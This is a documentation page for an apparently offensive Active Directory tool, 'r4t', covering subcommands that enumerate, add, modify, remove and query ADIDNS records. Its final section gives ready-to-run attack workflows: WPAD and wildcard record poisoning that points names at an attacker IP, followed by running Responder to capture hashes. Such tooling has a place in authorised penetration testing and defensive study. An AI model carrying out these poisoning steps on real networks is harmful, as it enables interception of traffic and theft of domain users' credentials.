Documentation Index
Fetch the complete documentation index at: https://wiki.krkn.tech/llms.txt
Use this file to discover all available pages before exploring further.
adidns
Active Directory Integrated DNS (ADIDNS) enumeration and manipulation. ADIDNS stores DNS records directly as objects in Active Directory. By default, any authenticated domain user can add new records, making this a common vector for name poisoning attacks.
Usage
r4t adidns <subcommand> [flags]
Subcommands
adidns enum
Enumerate all ADIDNS records from Active Directory.
Reads DNS node objects from the DomainDnsZones and/or ForestDnsZones application partitions in AD and displays all records. Results are stored in the dns_records table.
adidns add
Add a new DNS record to ADIDNS.
# Add an A record pointing to attacker IP
r4t adidns add --record wpad --data 10.10.10.100
# Add a wildcard A record
r4t adidns add --record "*" --data 10.10.10.100
# Add a CNAME record
r4t adidns add --record malicious --type CNAME --data legitimate.corp.example.com
# Add to the forest DNS zone
r4t adidns add --record wpad --data 10.10.10.100 --forest
# Custom TTL
r4t adidns add --record wpad --data 10.10.10.100 --ttl 300
# Add an SRV record
r4t adidns add --record _custom._tcp --type SRV --data target.corp.example.com \
--priority 10 --weight 100 --port 8080
| Flag | Short | Type | Description |
|---|
--record | -r | string | Target record name (FQDN or relative name) [required] |
--type | -t | string | Record type: A, AAAA, CNAME, SRV (default: A) |
--data | -D | string | Record data (IP address, target hostname, etc.) [required] |
--zone | — | string | DNS zone (defaults to domain) |
--forest | — | bool | Use ForestDnsZones instead of DomainDnsZones |
--legacy | — | bool | Use the System partition (legacy DNS storage) |
--allow-multiple | — | bool | Allow multiple records with the same name |
--ttl | — | int | TTL in seconds (default: 180) |
--dns-server | — | string | DNS server IP for SOA serial lookup |
--tcp | — | bool | Use DNS over TCP for SOA lookup |
--rpc | — | bool | Use RPC instead of LDAP (not yet implemented) |
--priority | — | uint16 | SRV record priority |
--weight | — | uint16 | SRV record weight |
--port | — | uint16 | SRV record port |
adidns modify
Modify an existing ADIDNS record.
# Update an A record to a new IP
r4t adidns modify --record wpad --data 10.10.10.200
# Update in forest zone
r4t adidns modify --record wpad --data 10.10.10.200 --forest
adidns add except --allow-multiple is not available.
adidns remove
Remove (tombstone) an ADIDNS record.
# Remove a record
r4t adidns remove --record wpad
# Remove from a specific zone
r4t adidns remove --record wpad --zone corp.example.com
| Flag | Short | Type | Description |
|---|
--record | -r | string | Record name to remove [required] |
--zone | — | string | DNS zone |
--forest | — | bool | Use ForestDnsZones |
--legacy | — | bool | Use System partition |
--dns-server | — | string | DNS server for SOA lookup |
--tcp | — | bool | DNS over TCP |
adidns resurrect
Resurrect a tombstoned ADIDNS record.
r4t adidns resurrect --record wpad
adidns remove.
adidns query
Query a specific ADIDNS record.
# Query an A record
r4t adidns query --record wpad
# Query with type filter
r4t adidns query --record _ldap._tcp --type SRV
| Flag | Short | Type | Description |
|---|
--record | -r | string | Record name to query [required] |
--type | -t | string | Record type filter |
--zone | — | string | DNS zone |
--forest | — | bool | Use ForestDnsZones |
--legacy | — | bool | Use System partition |
--dns-server | — | string | DNS server for SOA lookup |
--tcp | — | bool | DNS over TCP |
Common ADIDNS Attack Workflows
WPAD Poisoning
WPAD (Web Proxy Auto-Discovery) abuse via ADIDNS:
# 1. Check if wpad record exists
r4t adidns query --record wpad
# 2. Add a WPAD record pointing to attacker machine
r4t adidns add --record wpad --data 10.10.10.100
# 3. Start Responder on the attacker machine to capture hashes
# sudo responder -I eth0 -wP
# 4. Clean up after capture
r4t adidns remove --record wpad
Wildcard Record Poisoning
# Add wildcard — all unresolved names return attacker IP
r4t adidns add --record "*" --data 10.10.10.100 --allow-multiple
# Remove when done
r4t adidns remove --record "*"
DNS Record Storage
Enumerated records are stored in the dns_records table in SQLite.
